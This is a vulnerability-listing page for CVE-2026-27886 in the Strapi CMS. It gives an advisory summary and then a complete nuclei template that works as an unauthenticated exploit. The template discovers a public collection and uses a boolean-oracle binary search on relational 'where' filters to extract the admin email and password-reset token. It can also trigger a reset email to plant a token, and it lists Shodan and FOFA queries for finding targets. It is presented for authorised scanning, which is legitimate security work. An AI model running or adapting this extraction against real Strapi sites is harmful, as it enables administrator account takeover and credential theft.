Browse / CVEs / CVE-2026-27886
CVE-2026-27886· strapi / strapi· CWE-200
Strapi <=5.36.x - Admin Credential Enumeration
Strapi versions starting in 4.0.0 and prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field, enabling full administrative account takeover without authentication.
Impact
An unauthenticated attacker can recover the full admin email address and password-reset token, enabling direct account takeover without any existing credentials.
Fix
Upgrade Strapi to version 5.37.0 or later. The patch introduces explicit query-parameter sanitization via strictParam, addQueryParams, and addBodyParams primitives that reject operator chains traversing into restricted relational targets before reaching the database.
How to confirm it
Send: GET /api/users-permissions/roles
Send: GET /api/users-permissions/roles/{{public_role_id}}
Send: GET /api/content-type-builder/content-types
Send: GET /documentation/v1.0.0/api.json
Send: GET /api/{{probe_col}}
Send: GET /api/{{collection}}
Send: GET /api/{{collection}}?where[id][$lt]=-1
Send: GET /api/{{collection}}?{{enum_query}}
Send: GET /api/{{collection}}
Positive when: len(admin_email) > 0 || len(admin_token) > 0
Send: POST /admin/forgot-passwordRun it with nuclei: nuclei -id CVE-2026-27886 -u <target>
The full check
id: CVE-2026-27886
info:
name: Strapi <=5.36.x - Admin Credential Enumeration
author: zeroc00I
severity: critical
description: |
Strapi versions starting in 4.0.0 and prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field, enabling full administrative account takeover without authentication.
impact: |
An unauthenticated attacker can recover the full admin email address and password-reset token, enabling direct account takeover without any existing credentials.
remediation: |
Upgrade Strapi to version 5.37.0 or later. The patch introduces explicit query-parameter sanitization via strictParam, addQueryParams, and addBodyParams primitives that reject operator chains traversing into restricted relational targets before reaching the database.
reference:
- https://github.com/strapi/strapi/security/advisories
- https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi
- https://github.com/BishopFox/CVE-2026-27886-check
- https://nvd.nist.gov/vuln/detail/CVE-2026-27886
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-27886
epss-score: 0.01916
epss-percentile: 0.80028
cwe-id: CWE-200
cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 800
vendor: strapi
product: strapi
shodan-query: 'http.title:"Strapi"'
fofa-query: 'app="strapi-Headless-CMS"'
tags: cve,cve2026,strapi,idor,unauth,intrusive
variables:
collection: ""
kind: "collection"
probe_col: ""
public_role_id: "2"
enum_query: ""
allow_trigger: "false"
trigger_email: ""
collection_wordlist: ""
discovery_method: "auto"
flow: |
function detectKind() {
try {
let d = JSON.parse(template["probe_body"] || "{}");
if (Array.isArray(d.data) || (d.meta && d.meta.pagination)) return "collection";
if (d.data && typeof d.data === "object") return "single";
} catch(e) {}
return "collection";
}
let collection = template["collection"] || "";
let kind = template["kind"] || "collection";
if (!collection) {
http(1);
let idsToTry = [2, 1];
try {
let d = JSON.parse(template["roles_list_body"] || "{}");
let roles = d.roles || [];
for (let i = 0; i < roles.length; i++) {
if (roles[i].type === "public" && roles[i].id) {
idsToTry = [roles[i].id];
break;
}
}
} catch(e) {}
for (let ri = 0; ri < idsToTry.length && !collection; ri++) {
set("public_role_id", String(idsToTry[ri]));
http(2);
try {
let d = JSON.parse(template["roles_body"] || "{}");
if (!d.role || d.role.type !== "public") continue;
let perms = d.role.permissions || {};
outer: for (let ns of Object.keys(perms)) {
if (!ns.startsWith("api::")) continue;
let ctrls = perms[ns].controllers || {};
for (let ctrl of Object.keys(ctrls)) {
if (ctrls[ctrl].find && ctrls[ctrl].find.enabled) {
set("probe_col", ctrl + "s");
http(5);
if (template["probe_status"] === "200") {
collection = ctrl + "s";
kind = detectKind();
break outer;
}
set("probe_col", ctrl);
http(5);
if (template["probe_status"] === "200") {
collection = ctrl;
kind = detectKind();
break outer;
}
}
}
}
} catch(e) {}
}
}
if (!collection) {
http(3);
try {
let d = JSON.parse(template["ctb_body"] || "{}");
let items = d.data || [];
for (let i = 0; i < items.length; i++) {
let ct = items[i];
if (!ct.uid || !ct.uid.startsWith("api::")) continue;
let schema = ct.schema || {};
let name = (schema.kind === "singleType") ? schema.singularName : schema.pluralName;
if (!name) continue;
set("probe_col", name);
http(5);
if (template["probe_status"] === "200") {
collection = name;
kind = detectKind();
break;
}
}
} catch(e) {}
}
if (!collection) {
http(4);
try {
let d = JSON.parse(template["openapi_body"] || "{}");
let paths = Object.keys(d.paths || {});
for (let i = 0; i < paths.length; i++) {
let m = paths[i].match(/^\/api\/([a-z][a-z0-9-]+)$/);
if (m) {
set("probe_col", m[1]);
http(5);
if (template["probe_status"] === "200") {
collection = m[1];
kind = detectKind();
break;
}
}
}
} catch(e) {}
}
if (!collection) {
let words;
if ((template["collection_wordlist"] || "").length > 0) {
javascript(1);
let raw = (template["wl_loaded"] || "").replace(/^\s*\[|\]\s*$/g, "");
words = raw.split(/[\s,]+/).map(w => w.trim()).filter(w => w.length > 0);
} else {
words = ["articles","posts","products","pages","news","blogs","categories","entries","events","comments","users","tags","uploads","global","homepage","home","about","contact","navigation","footer","header","setting","general","seo","social","config"];
}
for (let i = 0; i < words.length; i++) {
let w = words[i];
if (!w) continue;
set("probe_col", w);
http(5);
if (template["probe_status"] === "200") {
collection = w;
kind = detectKind();
set("discovery_method", "wordlist");
break;
}
}
}
let proceed = collection !== "";
if (proceed) {
set("collection", collection);
set("kind", kind);
http(6);
http(7);
if (kind === "single") {
if (template["baseline_status"] !== "200" || template["probediff_status"] !== "404") {
proceed = false;
}
} else {
let base = parseInt(template["total_baseline"] || "0");
let probe = parseInt(template["total_probe"] || "0");
if (base === 0 || probe !== 0) proceed = false;
}
}
function oracleHit() {
if (kind === "single") return template["enum_status"] === "200";
return parseInt(template["total_enum"] || "0") > 0;
}
function hit(q) {
set("enum_query", q);
http(8);
return oracleHit();
}
if (proceed) {
let hexAlpha = "0123456789abcdef";
let emailAlpha = "+-.0123456789@_abcdefghijklmnopqrstuvwxyz";
let tokenLen = 40;
let emailMax = 48;
let canary = "qzx" + Math.random().toString(36).slice(2,12) + Math.random().toString(36).slice(2,8);
if (hit("where[updatedBy][email][$startsWith]=" + encodeURIComponent(canary))) {
proceed = false;
}
let isoPrefix = "where[updatedBy][resetPasswordToken][$notNull]=true";
let hasToken = proceed && hit(isoPrefix);
let iso = hasToken ? (isoPrefix + "&") : "";
function extract(field, alpha, maxLen) {
let val = "";
for (let pos = 0; pos < maxLen; pos++) {
let lock = iso;
if (val.length > 0) {
lock += "where[updatedBy][" + field + "][$startsWith]=" + encodeURIComponent(val) + "&";
}
let lo = 0, hi = alpha.length - 1, ans = -1;
while (lo <= hi) {
let mid = Math.floor((lo + hi) / 2);
let q = lock + "where[updatedBy][" + field + "][$gte]=" + encodeURIComponent(val + alpha[mid]);
if (hit(q)) { ans = mid; lo = mid + 1; } else { hi = mid - 1; }
}
if (ans < 0) break;
val += alpha[ans];
}
return val;
}
if (proceed) {
let email = extract("email", emailAlpha, emailMax);
set("admin_email", email);
let triggered = false;
if (!hasToken && template["allow_trigger"] === "true" && email.length > 0) {
set("trigger_email", email);
http(10);
let pin = "where[updatedBy][resetPasswordToken][$notNull]=true&where[updatedBy][email][$startsWith]=" + encodeURIComponent(email);
if (hit(pin)) {
hasToken = true;
triggered = true;
iso = pin + "&";
}
}
set("trigger_used", triggered ? "true" : "false");
if (hasToken) {
let token = extract("resetPasswordToken", hexAlpha, tokenLen);
set("admin_token", token);
}
if (email.length > 0) http(9);
}
}
javascript:
- code: |
wl;
args:
wl: "{{collection_wordlist}}"
extractors:
- type: dsl
name: wl_loaded
internal: true
dsl:
- 'response'
http:
- raw:
- |
GET /api/users-permissions/roles HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: dsl
name: roles_list_body
internal: true
dsl:
- 'body'
- raw:
- |
GET /api/users-permissions/roles/{{public_role_id}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: dsl
name: roles_body
internal: true
dsl:
- 'body'
- raw:
- |
GET /api/content-type-builder/content-types HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: dsl
name: ctb_body
internal: true
dsl:
- 'body'
- raw:
- |
GET /documentation/v1.0.0/api.json HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: dsl
name: openapi_body
internal: true
dsl:
- 'body'
- raw:
- |
GET /api/{{probe_col}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: dsl
name: probe_status
internal: true
dsl:
- 'status_code'
- type: dsl
name: probe_body
internal: true
dsl:
- 'body'
- raw:
- |
GET /api/{{collection}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: json
name: total_baseline
internal: true
json:
- ".meta.pagination.total"
- type: dsl
name: baseline_status
internal: true
dsl:
- 'status_code'
- raw:
- |
GET /api/{{collection}}?where[id][$lt]=-1 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: json
name: total_probe
internal: true
json:
- ".meta.pagination.total"
- type: dsl
name: probediff_status
internal: true
dsl:
- 'status_code'
- raw:
- |
GET /api/{{collection}}?{{enum_query}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json
extractors:
- type: json
name: total_enum
internal: true
json:
- ".meta.pagination.total"
- type: dsl
name: enum_status
internal: true
dsl:
- 'status_code'
- raw:
- |
GET /api/{{collection}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'len(admin_email) > 0 || len(admin_token) > 0'
extractors:
- type: dsl
name: credentials
dsl:
- 'admin_email + " | " + admin_token'
- type: dsl
name: via_fuzzing
dsl:
- 'discovery_method == "wordlist" ? "FUZZED-collection=" + collection : ""'
- raw:
- |
POST /admin/forgot-password HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{trigger_email}}"}References
- https://github.com/strapi/strapi/security/advisories
- https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi
- https://github.com/BishopFox/CVE-2026-27886-check
- https://nvd.nist.gov/vuln/detail/CVE-2026-27886
Use this check only on systems you are authorised to test. Where the data comes from